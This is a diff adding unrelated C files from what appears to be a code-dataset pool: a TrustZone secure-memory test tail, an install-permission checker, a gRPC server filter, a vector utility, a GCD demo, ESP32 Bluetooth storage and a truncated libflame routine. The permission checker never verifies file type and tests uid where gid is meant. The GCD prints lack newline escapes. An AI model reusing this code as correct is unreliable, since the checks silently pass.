+            TZ_ParamTypes3(TZPT_VALUE_INPUT, TZPT_VALUE_OUTPUT, TZPT_VALUE_OUTPUT), param);
+    printk ("Do B = 0x%x, 0x%x (%d)\n", param[1].value.a, param[2].value.a, ret);
+
+    // Free/Unreference secure memory
+    ret = KREE_UnreferenceSecuremem (mem_session, mem_handle);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("KREE_UnReferenceSecureMem Error 1: %d\n", ret);
+    } 
+    
+    ret = KREE_UnreferenceSecuremem (mem_session, mem_handle);
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("KREE_UnReferenceSecureMem Error 2: %d\n", ret);
+    } 
+
+    ret = KREE_UnregisterSharedmem(mem_session, shm_handle);        
+    if (ret != TZ_RESULT_SUCCESS)
+    {
+        printk("KREE_UnregisterSharedmem Error: %s\n", TZ_GetErrorString(ret));
+        return;
+    }
+
+    ret = KREE_CloseSession(test_session);
+    if (ret != TZ_RESULT_SUCCESS)
+        printk("CloseSession error %d\n", ret);    
+
+    ret = KREE_CloseSession(mem_session);
+    if (ret != TZ_RESULT_SUCCESS)
+        printk("Close memory session error %d\n", ret);
+
+    printk ("KREE test done!!!!\n");
+}
+
diff --git a/pool/shard001/C/0022448_inst-check.c b/pool/shard001/C/0022448_inst-check.c
new file mode 100644
index 0000000000000000000000000000000000000000..3f96afbf9a091e1be8bbb7b60670b7ae20d43c1d
--- /dev/null
+++ b/pool/shard001/C/0022448_inst-check.c
@@ -0,0 +1,129 @@
+/* $Rev$ */
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "install.h"
+
+#define CHECK "check"
+#define str_same(s,t) (strcmp((s),(t)) == 0)
+#define str_nsame(s,t,n) (strncmp((s),(t),(n)) == 0)
+
+#ifndef S_ISSOCK
+  #if defined(S_IFMT) && defined(S_IFSOCK)
+    #define S_ISSOCK(mode) (((mode) & S_IFMT) == S_IFSOCK)
+  #else
+    #define S_ISSOCK(mode)
+  #endif
+#endif
+
+char *file;
+char *type;
+int uid;
+int gid;
+unsigned int perm;
+
+int s_ifreg(int);
+int s_ifchr(int);
+int s_ifdir(int);
+int s_iflnk(int);
+int s_ifsock(int);
+int s_ififo(int);
+
+static const struct {
+  int (*check)(int);
+  const char *name;
+} types[] = {
+  { &s_ifreg, "file" },
+  { &s_ifchr, "character_special" },
+  { &s_ifdir, "directory" },
+  { &s_iflnk, "symlink" },
+  { &s_ifsock, "socket" },
+  { &s_ififo, "fifo" },
+};
+
+void die()
+{
+  printf("failed: %s\n", install_error(errno));
+  fflush(0);
+  _exit(112);
+}
+void say()
+{
+  printf(CHECK" %s %d:%d %o %s\n", file, uid, gid, perm, type);
+  fflush(0);
+}
+
+int s_ifreg(int m) { return S_ISREG(m); }
+int s_ifchr(int m) { return S_ISCHR(m); }
+int s_ifdir(int m) { return S_ISDIR(m); }
+int s_iflnk(int m) { return S_ISLNK(m); }
+int s_ifsock(int m) { return S_ISSOCK(m); }
+int s_ififo(int m) { return S_ISFIFO(m); }
+
+int check_type(int mode)
+{
+  return 1;
+}
+int check()
+{
+  struct stat sb;
+  int fd;
+  unsigned int got_mode;
+  unsigned int want_mode;
+
+  if (!str_nsame(type, "symlink", strlen("symlink"))) {
+    fd = open(file, O_RDONLY);
+    if (fd == -1) die();
+    if (fstat(fd, &sb) == -1) die();
+  } else if (lstat(file, &sb) == -1) die();
+
+  if (!check_type(sb.st_mode)) return 1;
+
+  want_mode = perm;
+  got_mode = (unsigned int) sb.st_mode & 07777;
+
+  if (!S_ISLNK(sb.st_mode)) {
+    if (got_mode != want_mode) {
+      printf("failed: mode %o not %o\n", got_mode, want_mode);
+      return 1;
+    }
+    if (uid >= 0) {
+      if (sb.st_uid != (unsigned) uid) {
+        printf("failed: uid %d not %d\n", sb.st_uid, uid);
+        return 1;
+      }
+    }
+    if (gid >= 0) {
+      if (sb.st_uid != (unsigned) uid) {
+        printf("failed: gid %d not %d\n", sb.st_gid, gid);
+        return 1;
+      }
+    }
+  }
+  return 0;
+}
+
+int main(int argc, char *argv[])
+{
+  --argc;
+  ++argv;
+
+  if (argc < 5) return 111;
+
+  file = argv[0];
+  if (!sscanf(argv[1], "%d", &uid)) return 111;
+  if (!sscanf(argv[2], "%d", &gid)) return 111;
+  if (!sscanf(argv[3], "%o", &perm)) return 111;
+  type = argv[4];
+
+  say();
+
+  if (argc < 6) return check();
+  return 0;
+}
diff --git a/pool/shard001/C/0022450_http_server_filter.c b/pool/shard001/C/0022450_http_server_filter.c
new file mode 100644
index 0000000000000000000000000000000000000000..5ce51f9016a4392b4907b6697697548748571ba3
--- /dev/null
+++ b/pool/shard001/C/0022450_http_server_filter.c
@@ -0,0 +1,265 @@
+/*
+ *
+ * Copyright 2015, Google Inc.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+#include "src/core/lib/channel/http_server_filter.h"
+
+#include <grpc/support/alloc.h>
+#include <grpc/support/log.h>
+#include <string.h>
+#include "src/core/lib/profiling/timers.h"
+#include "src/core/lib/transport/static_metadata.h"
+
+#define EXPECTED_CONTENT_TYPE "application/grpc"
+#define EXPECTED_CONTENT_TYPE_LENGTH sizeof(EXPECTED_CONTENT_TYPE) - 1
+
+typedef struct call_data {
+  uint8_t seen_path;
+  uint8_t seen_method;
+  uint8_t sent_status;
+  uint8_t seen_scheme;
+  uint8_t seen_te_trailers;
+  uint8_t seen_authority;
+  grpc_linked_mdelem status;
+  grpc_linked_mdelem content_type;
+
+  grpc_metadata_batch *recv_initial_metadata;
+  bool *recv_idempotent_request;
+  /** Closure to call when finished with the hs_on_recv hook */
+  grpc_closure *on_done_recv;
+  /** Receive closures are chained: we inject this closure as the on_done_recv
+      up-call on transport_op, and remember to call our on_done_recv member
+      after handling it. */
+  grpc_closure hs_on_recv;
+} call_data;
+
+typedef struct channel_data { uint8_t unused; } channel_data;
+
+typedef struct {
+  grpc_call_element *elem;
+  grpc_exec_ctx *exec_ctx;
+} server_filter_args;
+
+static grpc_mdelem *server_filter(void *user_data, grpc_mdelem *md) {
+  server_filter_args *a = user_data;
+  grpc_call_element *elem = a->elem;
+  call_data *calld = elem->call_data;
+
+  /* Check if it is one of the headers we care about. */
+  if (md == GRPC_MDELEM_TE_TRAILERS || md == GRPC_MDELEM_METHOD_POST ||
+      md == GRPC_MDELEM_METHOD_PUT || md == GRPC_MDELEM_SCHEME_HTTP ||
+      md == GRPC_MDELEM_SCHEME_HTTPS ||
+      md == GRPC_MDELEM_CONTENT_TYPE_APPLICATION_SLASH_GRPC) {
+    /* swallow it */
+    if (md == GRPC_MDELEM_METHOD_POST) {
+      calld->seen_method = 1;
+      *calld->recv_idempotent_request = false;
+    } else if (md == GRPC_MDELEM_METHOD_PUT) {
+      calld->seen_method = 1;
+      *calld->recv_idempotent_request = true;
+    } else if (md->key == GRPC_MDSTR_SCHEME) {
+      calld->seen_scheme = 1;
+    } else if (md == GRPC_MDELEM_TE_TRAILERS) {
+      calld->seen_te_trailers = 1;
+    }
+    /* TODO(klempner): Track that we've seen all the headers we should
+       require */
+    return NULL;
+  } else if (md->key == GRPC_MDSTR_CONTENT_TYPE) {
+    const char *value_str = grpc_mdstr_as_c_string(md->value);
+    if (strncmp(value_str, EXPECTED_CONTENT_TYPE,
+                EXPECTED_CONTENT_TYPE_LENGTH) == 0 &&
+        (value_str[EXPECTED_CONTENT_TYPE_LENGTH] == '+' ||
+         value_str[EXPECTED_CONTENT_TYPE_LENGTH] == ';')) {
+      /* Although the C implementation doesn't (currently) generate them,
+         any custom +-suffix is explicitly valid. */
+      /* TODO(klempner): We should consider preallocating common values such
+         as +proto or +json, or at least stashing them if we see them. */
+      /* TODO(klempner): Should we be surfacing this to application code? */
+    } else {
+      /* TODO(klempner): We're currently allowing this, but we shouldn't
+         see it without a proxy so log for now. */
+      gpr_log(GPR_INFO, "Unexpected content-type '%s'", value_str);
+    }
+    return NULL;
+  } else if (md->key == GRPC_MDSTR_TE || md->key == GRPC_MDSTR_METHOD ||
+             md->key == GRPC_MDSTR_SCHEME) {
+    gpr_log(GPR_ERROR, "Invalid %s: header: '%s'",
+            grpc_mdstr_as_c_string(md->key), grpc_mdstr_as_c_string(md->value));
+    /* swallow it and error everything out. */
+    /* TODO(klempner): We ought to generate more descriptive error messages
+       on the wire here. */
+    grpc_call_element_send_cancel(a->exec_ctx, elem);
+    return NULL;
+  } else if (md->key == GRPC_MDSTR_PATH) {
+    if (calld->seen_path) {
+      gpr_log(GPR_ERROR, "Received :path twice");
+      return NULL;
+    }
+    calld->seen_path = 1;
+    return md;
+  } else if (md->key == GRPC_MDSTR_AUTHORITY) {
+    calld->seen_authority = 1;
+    return md;
+  } else if (md->key == GRPC_MDSTR_HOST) {
+    /* translate host to :authority since :authority may be
+       omitted */
+    grpc_mdelem *authority = grpc_mdelem_from_metadata_strings(
+        GRPC_MDSTR_AUTHORITY, GRPC_MDSTR_REF(md->value));
+    calld->seen_authority = 1;
+    return authority;
+  } else {
+    return md;
+  }
+}
+
+static void hs_on_recv(grpc_exec_ctx *exec_ctx, void *user_data,
+                       grpc_error *err) {
+  grpc_call_element *elem = user_data;
+  call_data *calld = elem->call_data;
+  if (err == GRPC_ERROR_NONE) {
+    server_filter_args a;
+    a.elem = elem;
+    a.exec_ctx = exec_ctx;
+    grpc_metadata_batch_filter(calld->recv_initial_metadata, server_filter, &a);
+    /* Have we seen the required http2 transport headers?
+       (:method, :scheme, content-type, with :path and :authority covered
+       at the channel level right now) */
+    if (calld->seen_method && calld->seen_scheme && calld->seen_te_trailers &&
+        calld->seen_path && calld->seen_authority) {
+      /* do nothing */
+    } else {
+      err = GRPC_ERROR_CREATE("Bad incoming HTTP headers");
+      if (!calld->seen_path) {
+        err = grpc_error_add_child(err,
+                                   GRPC_ERROR_CREATE("Missing :path header"));
+      }
+      if (!calld->seen_authority) {
+        err = grpc_error_add_child(
+            err, GRPC_ERROR_CREATE("Missing :authority header"));
+      }
+      if (!calld->seen_method) {
+        err = grpc_error_add_child(err,
+                                   GRPC_ERROR_CREATE("Missing :method header"));
+      }
+      if (!calld->seen_scheme) {
+        err = grpc_error_add_child(err,
+                                   GRPC_ERROR_CREATE("Missing :scheme header"));
+      }
+      if (!calld->seen_te_trailers) {
+        err = grpc_error_add_child(
+            err, GRPC_ERROR_CREATE("Missing te: trailers header"));
+      }
+      /* Error this call out */
+      grpc_call_element_send_cancel(exec_ctx, elem);
+    }
+  } else {
+    GRPC_ERROR_REF(err);
+  }
+  calld->on_done_recv->cb(exec_ctx, calld->on_done_recv->cb_arg, err);
+  GRPC_ERROR_UNREF(err);
+}
+
+static void hs_mutate_op(grpc_call_element *elem,
+                         grpc_transport_stream_op *op) {
+  /* grab pointers to our data from the call element */
+  call_data *calld = elem->call_data;
+
+  if (op->send_initial_metadata != NULL && !calld->sent_status) {
+    calld->sent_status = 1;
+    grpc_metadata_batch_add_head(op->send_initial_metadata, &calld->status,
+                                 GRPC_MDELEM_STATUS_200);
+    grpc_metadata_batch_add_tail(
+        op->send_initial_metadata, &calld->content_type,
+        GRPC_MDELEM_CONTENT_TYPE_APPLICATION_SLASH_GRPC);
+  }
+
+  if (op->recv_initial_metadata) {
+    /* substitute our callback for the higher callback */
+    GPR_ASSERT(op->recv_idempotent_request != NULL);
+    calld->recv_initial_metadata = op->recv_initial_metadata;
+    calld->recv_idempotent_request = op->recv_idempotent_request;
+    calld->on_done_recv = op->recv_initial_metadata_ready;
+    op->recv_initial_metadata_ready = &calld->hs_on_recv;
+  }
+}
+
+static void hs_start_transport_op(grpc_exec_ctx *exec_ctx,
+                                  grpc_call_element *elem,
+                                  grpc_transport_stream_op *op) {
+  GRPC_CALL_LOG_OP(GPR_INFO, elem, op);
+  GPR_TIMER_BEGIN("hs_start_transport_op", 0);
+  hs_mutate_op(elem, op);
+  grpc_call_next_op(exec_ctx, elem, op);
+  GPR_TIMER_END("hs_start_transport_op", 0);
+}
+
+/* Constructor for call_data */
+static grpc_error *init_call_elem(grpc_exec_ctx *exec_ctx,
+                                  grpc_call_element *elem,
+                                  grpc_call_element_args *args) {
+  /* grab pointers to our data from the call element */
+  call_data *calld = elem->call_data;
+  /* initialize members */
+  memset(calld, 0, sizeof(*calld));
+  grpc_closure_init(&calld->hs_on_recv, hs_on_recv, elem);
+  return GRPC_ERROR_NONE;
+}
+
+/* Destructor for call_data */
+static void destroy_call_elem(grpc_exec_ctx *exec_ctx, grpc_call_element *elem,
+                              const grpc_call_final_info *final_info,
+                              void *ignored) {}
+
+/* Constructor for channel_data */
+static void init_channel_elem(grpc_exec_ctx *exec_ctx,
+                              grpc_channel_element *elem,
+                              grpc_channel_element_args *args) {
+  GPR_ASSERT(!args->is_last);
+}
+
+/* Destructor for channel data */
+static void destroy_channel_elem(grpc_exec_ctx *exec_ctx,
+                                 grpc_channel_element *elem) {}
+
+const grpc_channel_filter grpc_http_server_filter = {
+    hs_start_transport_op,
+    grpc_channel_next_op,
+    sizeof(call_data),
+    init_call_elem,
+    grpc_call_stack_ignore_set_pollset_or_pollset_set,
+    destroy_call_elem,
+    sizeof(channel_data),
+    init_channel_elem,
+    destroy_channel_elem,
+    grpc_call_next_get_peer,
+    "http-server"};
diff --git a/pool/shard001/C/0022451_vector.c b/pool/shard001/C/0022451_vector.c
new file mode 100644
index 0000000000000000000000000000000000000000..0c4ca1f6b8a1b1bbf888c2173d7e298cf6e89b28
--- /dev/null
+++ b/pool/shard001/C/0022451_vector.c
@@ -0,0 +1,189 @@
+// Copyright (c) Microsoft. All rights reserved.
+// Licensed under the MIT license. See LICENSE file in the project root for full license information.
+
+#include <stdlib.h>
+#ifdef _CRTDBG_MAP_ALLOC
+#include <crtdbg.h>
+#endif
+
+#include "azure_c_shared_utility/gballoc.h"
+#include "azure_c_shared_utility/vector.h"
+
+
+typedef struct VECTOR_TAG
+{
+    void* storage;
+    size_t count;
+    size_t elementSize;
+} VECTOR;
+
+VECTOR_HANDLE VECTOR_create(size_t elementSize)
+{
+    VECTOR_HANDLE result;
+
+    VECTOR* vec = (VECTOR*)malloc(sizeof(VECTOR));
+    if (vec == NULL)
+    {
+        result = NULL;
+    }
+    else
+    {
+        vec->storage = NULL;
+        vec->count = 0;
+        vec->elementSize = elementSize;
+        result = (VECTOR_HANDLE)vec;
+    }
+    return result;
+}
+
+static void internal_VECTOR_clear(VECTOR* vec)
+{
+    if (vec->storage != NULL)
+    {
+        free(vec->storage);
+        vec->storage = NULL;
+    }
+    vec->count = 0;
+}
+
+void VECTOR_destroy(VECTOR_HANDLE handle)
+{
+    if (handle != NULL)
+    {
+        VECTOR* vec = (VECTOR*)handle;
+        internal_VECTOR_clear(vec);
+        free(vec);
+    }
+}
+
+/* insertion */
+int VECTOR_push_back(VECTOR_HANDLE handle, const void* elements, size_t numElements)
+{
+    int result;
+    if (handle == NULL || elements == NULL || numElements == 0)
+    {
+        result = __LINE__;
+    }
+    else
+    {
+        VECTOR* vec = (VECTOR*)handle;
+        const size_t curSize = vec->elementSize * vec->count;
+        const size_t appendSize = vec->elementSize * numElements;
+
+        void* temp = realloc(vec->storage, curSize + appendSize);
+        if (temp == NULL)
+        {
+            result = __LINE__;
+        }
+        else
+        {
+            memcpy((unsigned char*)temp + curSize, elements, appendSize);
+            vec->storage = temp;
+            vec->count += numElements;
+            result = 0;
+        }
+    }
+    return result;
+}
+
+/* removal */
+void VECTOR_erase(VECTOR_HANDLE handle, void* elements, size_t numElements)
+{
+    if (handle != NULL && elements != NULL && numElements > 0)
+    {
+        VECTOR* vec = (VECTOR*)handle;
+        unsigned char* src = (unsigned char*)elements + (vec->elementSize * numElements);
+        unsigned char* srcEnd = (unsigned char*)vec->storage + (vec->elementSize * vec->count);
+        (void)memmove(elements, src, srcEnd - src);
+        vec->count -= numElements;
+        if (vec->count == 0)
+        {
+            free(vec->storage);
+            vec->storage = NULL;
+        }
+        else
+        {
+            vec->storage = realloc(vec->storage, (vec->elementSize * vec->count));
+        }
+    }
+}
+
+void VECTOR_clear(VECTOR_HANDLE handle)
+{
+    if (handle != NULL)
+    {
+        VECTOR* vec = (VECTOR*)handle;
+        internal_VECTOR_clear(vec);
+    }
+}
+
+/* access */
+
+void* VECTOR_element(const VECTOR_HANDLE handle, size_t index)
+{
+    void* result = NULL;
+    if (handle != NULL)
+    {
+        const VECTOR* vec = (const VECTOR*)handle;
+        if (index < vec->count)
+        {
+            result = (unsigned char*)vec->storage + (vec->elementSize * index);
+        }
+    }
+    return result;
+}
+
+void* VECTOR_front(const VECTOR_HANDLE handle)
+{
+    void* result = NULL;
+    if (handle != NULL)
+    {
+        const VECTOR* vec = (const VECTOR*)handle;
+        result = vec->storage;
+    }
+    return result;
+}
+
+void* VECTOR_back(const VECTOR_HANDLE handle)
+{
+    void* result = NULL;
+    if (handle != NULL)
+    {
+        const VECTOR* vec = (const VECTOR*)handle;
+        result = (unsigned char*)vec->storage + (vec->elementSize * (vec->count - 1));
+    }
+    return result;
+}
+
+void* VECTOR_find_if(const VECTOR_HANDLE handle, PREDICATE_FUNCTION pred, const void* value)
+{
+    void* result = NULL;
+    size_t i;
+    VECTOR* handleData = (VECTOR*)handle;
+    if (handle != NULL && pred != NULL && value != NULL)
+    {
+        for (i = 0; i < handleData->count; ++i)
+        {
+            void* elem = (unsigned char*)handleData->storage + (handleData->elementSize * i);
+            if (!!pred(elem, value))
+            {
+                result = elem;
+                break;
+            }
+        }
+    }
+    return result;
+}
+
+/* capacity */
+
+size_t VECTOR_size(const VECTOR_HANDLE handle)
+{
+    size_t result = 0;
+    if (handle != NULL)
+    {
+        const VECTOR* vec = (const VECTOR*)handle;
+        result = vec->count;
+    }
+    return result;
+}
diff --git a/pool/shard001/C/0022453_euclids_gcd.c b/pool/shard001/C/0022453_euclids_gcd.c
new file mode 100644
index 0000000000000000000000000000000000000000..aaaca609d88174429655ff4aa8f2fc54c88a431e
--- /dev/null
+++ b/pool/shard001/C/0022453_euclids_gcd.c
@@ -0,0 +1,19 @@
+#include<stdio.h>
+int gcd(int a, int b)
+{
+    if (a == 0)
+        return b;
+    return gcd(b%a, a);
+}
+
+// Driver program to test above function
+int main()
+{
+    int a = 10, b = 15;
+    printf("GCD(%d, %d) = %dn", a, b, gcd(a, b));
+    a = 35, b = 10;
+    printf("GCD(%d, %d) = %dn", a, b, gcd(a, b));
+    a = 31, b = 2;
+    printf("GCD(%d, %d) = %dn", a, b, gcd(a, b));
+    return 0;
+}
diff --git a/pool/shard001/C/0022455_btc_storage.c b/pool/shard001/C/0022455_btc_storage.c
new file mode 100644
index 0000000000000000000000000000000000000000..654a1bf2888fb620b239db5c7ad8b37463238586
--- /dev/null
+++ b/pool/shard001/C/0022455_btc_storage.c
@@ -0,0 +1,235 @@
+// Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include <string.h>
+
+#include "btc/btc_storage.h"
+#include "btc/btc_util.h"
+#include "osi/osi.h"
+#include "common/bt_trace.h"
+#include "esp_system.h"
+#include "bta/bta_api.h"
+#include "device/bdaddr.h"
+#include "btc/btc_config.h"
+
+/*******************************************************************************
+**
+** Function         btc_storage_add_bonded_device
+**
+** Description      BTIF storage API - Adds the newly bonded device to NVRAM
+**                  along with the link-key, Key type and Pin key length
+**
+** Returns          BT_STATUS_SUCCESS if the store was successful,
+**                  BT_STATUS_FAIL otherwise
+**
+*******************************************************************************/
+
+bt_status_t btc_storage_add_bonded_device(bt_bdaddr_t *remote_bd_addr,
+        LINK_KEY link_key,
+        uint8_t key_type,
+        uint8_t pin_length)
+{
+    bdstr_t bdstr;
+
+    bdaddr_to_string(remote_bd_addr, bdstr, sizeof(bdstr));
+    BTC_TRACE_DEBUG("add to storage: Remote device:%s\n", bdstr);
+
+    btc_config_lock();
+    int ret = btc_config_set_int(bdstr, BTC_STORAGE_LINK_KEY_TYPE_STR, (int)key_type);
+    ret &= btc_config_set_int(bdstr, BTC_STORAGE_PIN_LENGTH_STR, (int)pin_length);
+    ret &= btc_config_set_bin(bdstr, BTC_STORAGE_LINK_KEY_STR, link_key, sizeof(LINK_KEY));
+    /* write bonded info immediately */
+    btc_config_flush();
+    btc_config_unlock();
+
+    BTC_TRACE_DEBUG("Storage add rslt %d\n", ret);
+    return ret ? BT_STATUS_SUCCESS : BT_STATUS_FAIL;
+}
+
+/*******************************************************************************
+**
+** Function         btc_in_fetch_bonded_devices
+**
+** Description      Internal helper function to fetch the bonded devices
+**                  from NVRAM
+**
+** Returns          BT_STATUS_SUCCESS if successful, BT_STATUS_FAIL otherwise
+**
+*******************************************************************************/
+static bt_status_t btc_in_fetch_bonded_devices(int add)
+{
+    BOOLEAN bt_linkkey_file_found = FALSE;
+
+    btc_config_lock();
+    for (const btc_config_section_iter_t *iter = btc_config_section_begin(); iter != btc_config_section_end(); iter = btc_config_section_next(iter)) {
+        const char *name = btc_config_section_name(iter);
+        if (!string_is_bdaddr(name)) {
+            continue;
+        }
+
+        BTC_TRACE_DEBUG("Remote device:%s\n", name);
+        LINK_KEY link_key;
+        size_t size = sizeof(link_key);
+        if (btc_config_get_bin(name, BTC_STORAGE_LINK_KEY_STR, link_key, &size)) {
+            int linkkey_type;
+            if (btc_config_get_int(name, BTC_STORAGE_LINK_KEY_TYPE_STR, &linkkey_type)) {
+                bt_bdaddr_t bd_addr;
+                string_to_bdaddr(name, &bd_addr);
+                if (add) {
+                    DEV_CLASS dev_class = {0, 0, 0};
+                    int cod;
+                    int pin_length = 0;
+                    if (btc_config_get_int(name, BTC_STORAGE_DEV_CLASS_STR, &cod)) {
+                        uint2devclass((UINT32)cod, dev_class);
+                    }
+                    btc_config_get_int(name, BTC_STORAGE_PIN_LENGTH_STR, &pin_length);
+#if (SMP_INCLUDED == TRUE)
+                    BTA_DmAddDevice(bd_addr.address, dev_class, link_key, 0, 0,
+                                    (UINT8)linkkey_type, 0, pin_length);
+#endif  ///SMP_INCLUDED == TRUE
+                }
+                bt_linkkey_file_found = TRUE;
+            } else {
+                BTC_TRACE_ERROR("bounded device:%s, LinkKeyType or PinLength is invalid\n", name);
+            }
+        }
+        if (!bt_linkkey_file_found) {
+            BTC_TRACE_DEBUG("Remote device:%s, no link key\n", name);
+        }
+    }
+    btc_config_unlock();
+
+    return BT_STATUS_SUCCESS;
+}
+
+
+/*******************************************************************************
+**
+** Function         btc_storage_load_bonded_devices
+**
+** Description      BTC storage API - Loads all the bonded devices from NVRAM
+**                  and adds to the BTA.
+**                  Additionally, this API also invokes the adaper_properties_cb
+**                  and remote_device_properties_cb for each of the bonded devices.
+**
+** Returns          BT_STATUS_SUCCESS if successful, BT_STATUS_FAIL otherwise
+**
+*******************************************************************************/
+bt_status_t btc_storage_load_bonded_devices(void)
+{
+    bt_status_t status;
+    status = btc_in_fetch_bonded_devices(1);
+    BTC_TRACE_DEBUG("Storage load rslt %d\n", status);
+    return status;
+}
+
+/*******************************************************************************
+**
+** Function         btc_storage_remove_bonded_device
+**
+** Description      BTC storage API - Deletes the bonded device from NVRAM
+**
+** Returns          BT_STATUS_SUCCESS if the deletion was successful,
+**                  BT_STATUS_FAIL otherwise
+**
+*******************************************************************************/
+bt_status_t btc_storage_remove_bonded_device(bt_bdaddr_t *remote_bd_addr)
+{
+    bdstr_t bdstr;
+    bdaddr_to_string(remote_bd_addr, bdstr, sizeof(bdstr));
+    int ret = 1;
+    BTC_TRACE_DEBUG("Add to storage: Remote device:%s\n", bdstr);
+
+    btc_config_lock();
+    if (btc_config_exist(bdstr, BTC_STORAGE_LINK_KEY_TYPE_STR)) {
+        ret &= btc_config_remove(bdstr, BTC_STORAGE_LINK_KEY_TYPE_STR);
+    }
+    if (btc_config_exist(bdstr, BTC_STORAGE_PIN_LENGTH_STR)) {
+        ret &= btc_config_remove(bdstr, BTC_STORAGE_PIN_LENGTH_STR);
+    }
+    if (btc_config_exist(bdstr, BTC_STORAGE_LINK_KEY_STR)) {
+        ret &= btc_config_remove(bdstr, BTC_STORAGE_LINK_KEY_STR);
+    }
+    /* write bonded info immediately */
+    btc_config_flush();
+    btc_config_unlock();
+
+    return ret ? BT_STATUS_SUCCESS : BT_STATUS_FAIL;
+}
+
+/*******************************************************************************
+**
+** Function         btc_storage_get_num_bt_bond_devices
+**
+** Description      BTC storage API - get the num of the bonded device from NVRAM
+**
+** Returns          the num of the bonded device
+**
+*******************************************************************************/
+int btc_storage_get_num_bt_bond_devices(void)
+{
+    int num_dev = 0;
+
+    btc_config_lock();
+    for (const btc_config_section_iter_t *iter = btc_config_section_begin(); iter != btc_config_section_end();
+            iter = btc_config_section_next(iter)) {
+        const char *name = btc_config_section_name(iter);
+        if (string_is_bdaddr(name) &&
+            btc_config_exist(name, BTC_STORAGE_LINK_KEY_TYPE_STR) &&
+            btc_config_exist(name, BTC_STORAGE_PIN_LENGTH_STR) &&
+            btc_config_exist(name, BTC_STORAGE_LINK_KEY_STR)) {
+            num_dev++;
+        }
+    }
+    btc_config_unlock();
+
+    return num_dev;
+}
+
+/*******************************************************************************
+**
+** Function         btc_storage_get_bonded_bt_devices_list
+**
+** Description      BTC storage API - get the list of the bonded device from NVRAM
+**
+** Returns          BT_STATUS_SUCCESS if get the list successful,
+**                  BT_STATUS_FAIL otherwise
+**
+*******************************************************************************/
+bt_status_t btc_storage_get_bonded_bt_devices_list(bt_bdaddr_t *bond_dev, int dev_num)
+{
+    bt_bdaddr_t bd_addr;
+
+    btc_config_lock();
+    for (const btc_config_section_iter_t *iter = btc_config_section_begin(); iter != btc_config_section_end();
+            iter = btc_config_section_next(iter)) {
+
+        if (dev_num-- <= 0) {
+            break;
+        }
+
+        const char *name = btc_config_section_name(iter);
+
+        if (string_is_bdaddr(name) &&
+            btc_config_exist(name, BTC_STORAGE_LINK_KEY_TYPE_STR) &&
+            btc_config_exist(name, BTC_STORAGE_PIN_LENGTH_STR) &&
+            btc_config_exist(name, BTC_STORAGE_LINK_KEY_STR)) {
+            string_to_bdaddr(name, &bd_addr);
+            memcpy(bond_dev, &bd_addr, sizeof(bt_bdaddr_t));
+            bond_dev++;
+        }
+    }
+    btc_config_unlock();
+
+    return BT_STATUS_SUCCESS;
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0022457_FLA_Gemm_hc.c b/pool/shard001/C/0022457_FLA_Gemm_hc.c
new file mode 100644
index 0000000000000000000000000000000000000000..d6672f28902fdfd8d6b918d18463903208d8b24f
--- /dev/null
+++ b/pool/shard001/C/0022457_FLA_Gemm_hc.c
@@ -0,0 +1,84 @@
+/*
+
+    Copyright (C) 2014, The University of Texas at Austin
+
+    This file is part of libflame and is available under the 3-Clause
+    BSD license, which can be found in the LICENSE file at the top-level
+    directory, or at http://opensource.org/licenses/BSD-3-Clause
+
+*/
+
+#include "FLAME.h"
+
+FLA_Error FLA_Gemm_hc( FLA_Obj alpha, FLA_Obj A, FLA_Obj B, FLA_Obj beta, FLA_Obj C, fla_gemm_t* cntl )
+{
+	FLA_Error r_val = FLA_SUCCESS;
+	
+	if      ( FLA_Cntl_variant( cntl ) == FLA_SUBPROBLEM )
+	{
+		r_val = FLA_Gemm_hc_task( alpha, A, B, beta, C, cntl );
+	}
+	else if ( FLA_Cntl_variant( cntl ) == FLA_BLOCKED_VARIANT1 )
+	{
+		r_val = FLA_Gemm_hc_blk_var1( alpha, A, B, beta, C, cntl );
+	}
+#ifdef FLA_ENABLE_NON_CRITICAL_CODE
+	else if ( FLA_Cntl_variant( cntl ) == FLA_BLOCKED_VARIANT2 )
+	{
+		r_val = FLA_Gemm_hc_blk_var2( alpha, A, B, beta, C, cntl );
+	}
+#endif
+	else if ( FLA_Cntl_variant( cntl ) == FLA_BLOCKED_VARIANT3 )
+	{
